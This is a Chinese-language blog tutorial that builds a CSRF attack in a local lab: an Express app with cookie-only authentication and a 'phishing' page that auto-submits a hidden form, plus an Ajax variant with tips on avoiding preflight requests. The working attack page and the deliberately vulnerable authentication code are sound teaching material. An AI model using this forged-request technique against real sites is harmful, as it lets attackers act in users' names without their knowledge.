likes
comments
collection
share

手把手教你实现一次 CSRF 攻击

作者站长头像
站长
· 阅读数 48

之前写过一篇 CSRF 攻击文章,介绍了定义、触发方式、防御方式,但唯独没有给出一个实现方式,今天就借这篇文章重新写出一个实现方式

手把手教你实现一次 CSRF 攻击

您可以在线查看完整的示例源代码_

定义

先介绍一下 CSRF 攻击的定义

  • 跨站点请求伪造(Cross-Site Request Forgeries),在用户不知情的情况下,冒充用户发起请求, 完成一些违背用户意愿的事情,比如修改用户信息,删评论等(如果找到 XSS 漏洞,可以用一些 JS 去借用用户的身份去发出请求)或者是伪造请求完成服务器的一些 CURD 操作
  • CSRF 可以说是钓鱼网站的应用,常见于用户的 cookie 被利用

实现

首先在本地启动两个静态资源服务

  1. hack: localhost:3001 钓鱼网站
  2. client: localhost:3000 客户端

客户端的需要实现功能登录(发送 Cookie 到客户端),获取用户名称和修改用户名称(修改用户名称的接口存在 CSRF 攻击存在缺陷)

CSRF 攻击效果如下(效果为用户名称从杰尼龟被修改为憨批龟

手把手教你实现一次 CSRF 攻击

客户端前台实现

一个简单的客户端登录实现,发送账号密码,服务端鉴权,然后跳转到用户界面(user.html

手把手教你实现一次 CSRF 攻击

<!-- localhost:3000/ -->
<!-- localhost:3000/index.html -->
<body>
  <form>
    username: <input type="text" name="username" /><br />
    password: <input type="password" name="password" /><br />
    <button type="button" onclick="login()">登录</button>
  </form>
</body>
<script>
  const login = () => {
    const username = document.getElementsByName("username")[0].value;
    const password = document.getElementsByName("password")[0].value;
    const xhr = new XMLHttpRequest();
    xhr.open("POST", "http://localhost:3000/user/login");
    xhr.setRequestHeader("Content-type", "application/json");
    xhr.onreadystatechange = () => {
      if (xhr.readyState === 4) {
        if (xhr.status === 200) {
          window.location.href = "/user.html";
        }
      }
    };
    xhr.send(JSON.stringify({ username, password }));
  };
</script>

用户界面如下,拥有查看和修改用户名称的功能

手把手教你实现一次 CSRF 攻击

手把手教你实现一次 CSRF 攻击

<!-- localhost:3000/user.html -->
<body>
  昵称:<span class="name"></span>
  <input class="name-input" type="text" style="display: none" />
  <br />
  <button class="button" onclick="handleModifyName()">修改昵称</button>
  <button
    class="confirm-button"
    onclick="confirmModifyName()"
    style="display: none"
  >
    确认修改
  </button>
</body>
<script>
  const name = document.querySelector(".name");
  const nameInput = document.querySelector(".name-input");
  const button = document.querySelector(".button");
  const confirmButton = document.querySelector(".confirm-button");
  const getName = () => {
    const xhr = new XMLHttpRequest();
    xhr.open("GET", "http://localhost:3000/user/name");
    xhr.onreadystatechange = () => {
      if (xhr.readyState === 4) {
        if (xhr.status === 200) {
          name.innerText = xhr.response;
        }
      }
    };
    xhr.send();
  };
  const handleModifyName = () => {
    if (button.innerText === "取消修改") {
      name.style.display = "initial";
      nameInput.style.display = "none";
      confirmButton.style.display = "none";
      button.innerText = "修改昵称";
      getName();
    } else {
      name.style.display = "none";
      nameInput.style.display = "initial";
      confirmButton.style.display = "initial";
      nameInput.value = name.innerText;
      button.innerText = "取消修改";
    }
  };
  const confirmModifyName = () => {
    const xhr = new XMLHttpRequest();
    xhr.open("POST", "http://localhost:3000/user/name");
    xhr.setRequestHeader("Content-type", "application/json");
    xhr.onreadystatechange = () => {
      if (xhr.readyState === 4) {
        if (xhr.status === 200) {
          handleModifyName();
        }
      }
    };
    xhr.send(JSON.stringify({ name: nameInput.value }));
  };

  // 初次加载
  getName();
</script>

客户端后台实现

这里的后台使用的是 express,不了解也没关系,可以通过示例运行尝试,而且代码都很简单

router.post("/login", function (req, res, next) {
  const { username, password } = req.body;
  res.cookie("userId", String(username), {
    expires: new Date(Date.now() + 1000 * 60 * 60),
    httpOnly: true,
    signed: true,
  });
  res.send("success");
});

router.get("/name", function (req, res, next) {
  const [name, setName] = useName();

  res.send(name);
});

router.post("/name", function (req, res, next) {
  const [name, setName] = useName();
  const { name: updateName } = req.body;

  res.send(setName(updateName));
});

上面一共有三个接口,分别如下(统一配置了前缀 /user

  1. POST: /user/login 负责鉴权下发 Cookie
  2. GET: /user/name 返回用户名称,即杰尼龟
  3. POST: /user/name 修改用户名称

然后就是鉴权部分,这也就是存在 CSRF 攻击缺陷的逻辑部分

app.use((req, res, next) => {
  const { userId } = req.signedCookies;
  if (req.path !== "/user/login" && req.path !== "/init" && !userId) {
    res.status(403);
    res.send("error");
  } else {
    next();
  }
});

上面这段代码的意思是,非 /user/login/init 路径并且不存在名为 userIdCookie 的请求将会被返回 403,否则按正常逻辑继续运行

其实这也就是意味着如果我在请求 /user/name 的过程中携带有 Cookie,那么我的这个请求将是成功的,即能够完成 CSRF 攻击

有了理论基础,就可以建立攻击实现了

钓鱼网站实现

上面已经分析完了攻击原理,那么网站的实现就是保证我能够发出请求就行了,由于上面的修改用户名称是一个 POST 请求,所以下面将使用 form 表单实现

<!-- localhost:3001 -->
<body>
  <form
    action="http://localhost:3000/user/name"
    method="POST"
    enctype="application/json"
  >
    <input type="hidden" name="name" value="憨批龟" />
  </form>
</body>
<script>
  // 进入页面后提交
  document.forms[0].submit();
</script>

表单提交

使用 form 表单提交,它的原理是借助了 formaction 属性会跳转到目标 URL 并附带表单信息

手把手教你实现一次 CSRF 攻击

这也就是为什么前面的例子中在访问钓鱼网站的时候最终会跳转至客户端(http://localhost:3000

为什么 <form>action 会这么设计是因为以前在没有前后端分离的时候,是通过提交表单之后由接口返回值来展示提交结果,即后端决定前端应该跳转至哪个路由

form 的 enctype

与本篇文章无关,但是我想说,不感兴趣的可以直接跳到下一个段落

前面可以看到我将 <form>enctype 属性设置为了 application/json,其实这并不是一个稳定的实现(即部分浏览器或者浏览器的版本没有实现这个特性)

稳定的实现只有以下几个

  1. application/x-www-form-urlencoded
  2. multipart/form-data
  3. text/plain

但是 Chrome 的最新版本似乎已经实现了此功能,而且对于 express 来说 application/x-www-form-urlencodedapplication/json 的单层对象的解析是一致的

router.post("/name", function (req, res, next) {
  const [name, setName] = useName();
  // application/x-www-form-urlencoded 和 application/json 都可以拿到 name
  const { name: updateName } = req.body;

  res.send(setName(updateName));
});

所以在分析可能有 CSRF 攻击缺陷的接口是不要因为使用的 JSON 格式而存在侥幸心理,以为有跨域限制而 form 不能使用 application/json 而忽略该接口,有可能你的后台服务的解析是一致的

使用 Ajax

上面这个钓鱼网站有一个非常重要的点需要注意,CSRF 攻击的实现原理是借用第三方 Cookie,这个第三方也就是我们的客户端,但是钓鱼网站和我们的客户端是不同的端喔,钓鱼网站上发向客户端请求会是一个跨域请求

http://localhost:3001 -> http://localhost:3000/user/name

比如你在钓鱼网站这里使用 ajax 的方式去请求我们的客户端的修改用户昵称接口将会导致一个跨域报错

const xhr = new XMLHttpRequest();
xhr.open("POST", "http://localhost:3000/user/name");
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhr.withCredentials = true;
xhr.send("name=憨批龟");

Access to XMLHttpRequest at 'http://localhost:3000/user/name' from origin 'http://localhost:3001' has been blocked by CORS policy: Response to preflight request doesn't pass access control check: No 'Access-Control-Allow-Origin' header is present on the requested resource.

但这并不意味着我们的请求没有成功应用到服务器,要知道跨域其实是浏览器的设置,请求其实已经发送到了服务器,只是浏览器拦截了响应

手把手教你实现一次 CSRF 攻击

效果如下

手把手教你实现一次 CSRF 攻击

XMLHttpRequest.withCredentials

使用 Ajax 发起 CSRF 攻击时要设置 withCredentialstrue,不然可能不会带上 Cookie 而导致攻击失败

// ...
xhr.withCredentials = true;
// ...

避免预检请求(option)

使用 Ajax 发起 CSRF 攻击要注意使用简单请求,不然你向客户端发送请求时会发送两次请求,第一次预检请求,第二次才会是你的 CSRF 攻击请求,而且 option 请求是不会携带 Cookie

手把手教你实现一次 CSRF 攻击

一旦 option 请求失败了就不会再请求你的 CSRF 攻击请求,而使 option 请求成功的方法只有让后台帮助你设置当前网页所在的域名是否在服务器的许可名单之中,这很明显是不可能的,因为你是攻击方,所以这种情况下可以采用表单提交的方式

手把手教你实现一次 CSRF 攻击

预请求定义:

请求以 GET, HEAD 或者 POST 以外的方法发起请求。或者,使用 POST,但请求数据为 application/x-www-form-urlencoded, multipart/form-data 或者 text/plain 以外的数据类型。比如说,用 POST 发送数据类型为 application/xml 或者 text/xml 的 XML 数据的请求。 使用自定义请求头(比如添加诸如 X-PINGOTHER)

简单请求定义:

只使用 GET, HEAD 或者 POST 请求方法。如果使用 POST 向服务器端传送数据,则数据类型(Content-Type)只能是 application/x-www-form-urlencoded, multipart/form-data 或 text/plain中的一种。 不能使用自定义请求头(类似于 X-Modified 这种)。

这也就是为什么不要将可以修改服务器数据的接口使用 GET 方式编写,因为用 GET 请求触发 CSRF 的条件实在是太简单了,只要求能够发送请求就行

攻击实操

看完上面的段落后实现攻击的操作应该很简单了

  1. 第一步,登录客户端,获取鉴权,即 Cookie
  2. 然后访问钓鱼网站

手把手教你实现一次 CSRF 攻击

强烈建议在访问钓鱼网站的时候给 network 点上 Preserve log,这样就可以看到钓鱼网站跳转到客户端的全部请求记录

手把手教你实现一次 CSRF 攻击

攻击是否成功的关键,钓鱼网站发送向第三方网站的请求有没有成功携带上 Cookie

手把手教你实现一次 CSRF 攻击

有攻击就有防御,《手把手教你防御 CSRF 攻击》正在编写中!!

参考资料

转载自:https://juejin.cn/post/7174782370108112957
评论
请登录